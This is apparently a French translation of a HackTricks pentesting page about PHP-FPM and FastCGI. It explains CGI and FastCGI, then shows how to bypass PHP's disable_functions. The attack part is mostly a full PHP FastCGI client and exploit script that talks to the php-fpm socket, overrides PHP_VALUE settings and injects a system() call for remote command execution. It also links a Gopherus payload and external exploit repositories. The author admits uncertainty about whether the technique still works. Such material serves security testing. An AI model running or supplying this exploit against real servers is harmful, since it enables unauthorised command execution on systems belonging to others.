PHP-FPM est présenté comme une alternative supérieure au FastCGI PHP standard, offrant des fonctionnalités particulièrement bénéfiques pour les sites Web à fort trafic. Il fonctionne à travers un processus maître qui supervise une collection de processus de travail. Pour une demande de script PHP, c'est le serveur Web qui initie une connexion proxy FastCGI vers le service PHP-FPM. Ce service a la capacité de recevoir des demandes soit via des ports réseau sur le serveur, soit via des sockets Unix.
Malgré le rôle intermédiaire de la connexion proxy, PHP-FPM doit être opérationnel sur la même machine que le serveur Web. La connexion qu'il utilise, bien que basée sur un proxy, diffère des connexions proxy conventionnelles. Après avoir reçu une demande, un processus de travail disponible de PHP-FPM la traite, exécute le script PHP, puis renvoie les résultats au serveur Web. Après qu'un processus de travail ait terminé le traitement d'une demande, il redevient disponible pour les demandes à venir.
Mais qu'est-ce que CGI et FastCGI ?
CGI
Normalement, les pages Web, les fichiers et tous les documents qui sont transférés du serveur Web au navigateur sont stockés dans un répertoire public spécifique tel que home/user/public_html. Lorsque le navigateur demande un contenu spécifique, le serveur vérifie ce répertoire et envoie le fichier requis au navigateur.
Si CGI est installé sur le serveur, le répertoire spécifique cgi-bin est également ajouté, par exemple home/user/public_html/cgi-bin. Les scripts CGI sont stockés dans ce répertoire. Chaque fichier du répertoire est traité comme un programme exécutable. Lors de l'accès à un script du répertoire, le serveur envoie une demande à l'application responsable de ce script, au lieu d'envoyer le contenu du fichier au navigateur. Après le traitement des données d'entrée, l'application envoie les données de sortie au serveur Web qui transfère ensuite les données au client HTTP.
Par exemple, lorsque le script CGI http://mysitename.com/cgi-bin/file.pl est accédé, le serveur exécutera l'application Perl appropriée via CGI. Les données générées par l'exécution du script seront envoyées par l'application au serveur Web. Le serveur, quant à lui, transférera les données au navigateur. Si le serveur n'avait pas de CGI, le navigateur aurait affiché le code du fichier .pl lui-même. (explication provenant de ici)
FastCGI
FastCGI est une technologie Web plus récente, une version améliorée de CGI car la fonctionnalité principale reste la même.
Le besoin de développer FastCGI est dû à l'émergence du Web par le développement rapide et la complexité des applications, ainsi que pour remédier aux lacunes de scalabilité de la technologie CGI. Pour répondre à ces exigences, Open Market a introduit FastCGI - une version haute performance de la technologie CGI avec des capacités améliorées.
Contournement de disable_functions
Il est possible d'exécuter du code PHP en abusant de FastCGI et en évitant les limitations de disable_functions.
Via Gopherus
Je ne suis pas sûr que cela fonctionne dans les versions modernes car j'ai essayé une fois et cela n'a rien exécuté. Si vous avez plus d'informations à ce sujet, veuillez me contacter via [groupe Telegram PEASS & HackTricks ici](https://t.me/peass), ou Twitter [@carlospolopm](https://twitter.com/hacktricks_live).
En utilisant Gopherus, vous pouvez générer une charge utile à envoyer à l'écouteur FastCGI et exécuter des commandes arbitraires :
Ensuite, vous pouvez récupérer la charge utile encodée en URL et la décoder et la transformer en base64, [en utilisant cette recette de cyberchef par exemple]([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw)). Et ensuite copier/coller le base64 dans ce code php :
Je ne suis pas sûr que cela fonctionne dans les versions modernes car j'ai essayé une fois et je n'ai pas pu exécuter quoi que ce soit. En fait, j'ai réussi à voir que phpinfo() de l'exécution FastCGI indiquait que disable_functions était vide, mais PHP (d'une manière ou d'une autre) m'empêchait toujours d'exécuter toute fonction précédemment désactivée. S'il vous plaît, si vous avez plus d'informations à ce sujet, contactez-moi via le [groupe telegram PEASS & HackTricks ici](https://t.me/peass), ou sur twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
En utilisant la fonction précédente, vous verrez que la fonction system est toujours désactivée mais que phpinfo() affiche disable_functionsvide :
Donc, je pense que vous ne pouvez définir disable_functions que via les fichiers de configuration php .ini et que PHP_VALUE ne remplacera pas ce paramètre.
Il s'agit d'un script php pour exploiter le protocole fastcgi afin de contourner open_basedir et disable_functions.
Il vous aidera à contourner strictement les disable_functions pour RCE en chargeant l'extension malveillante.
Vous pouvez y accéder ici : https://github.com/w181496/FuckFastcgi ou une version légèrement modifiée et améliorée ici : https://github.com/BorelEnzo/FuckFastcgi
Vous constaterez que l'exploit est très similaire au code précédent, mais au lieu de tenter de contourner disable_functions en utilisant PHP_VALUE, il tente de charger un module PHP externe pour exécuter du code en utilisant les paramètres extension_dir et extension à l'intérieur de la variable PHP_ADMIN_VALUE.
REMARQUE1 : Vous devrez probablement recompiler l'extension avec la même version de PHP que le serveur utilise (vous pouvez le vérifier dans la sortie de phpinfo) :
REMARQUE2 : J'ai réussi à faire fonctionner cela en insérant les valeurs extension_dir et extension dans un fichier de configuration PHP .ini (quelque chose que vous ne pourrez pas faire en attaquant un serveur). Mais pour une raison quelconque, lorsque j'utilise cet exploit et charge l'extension à partir de la variable PHP_ADMIN_VALUE, le processus s'est simplement arrêté, donc je ne sais pas si cette technique est toujours valide.
Vulnérabilité d'exécution de code à distance PHP-FPM (CVE-2019–11043)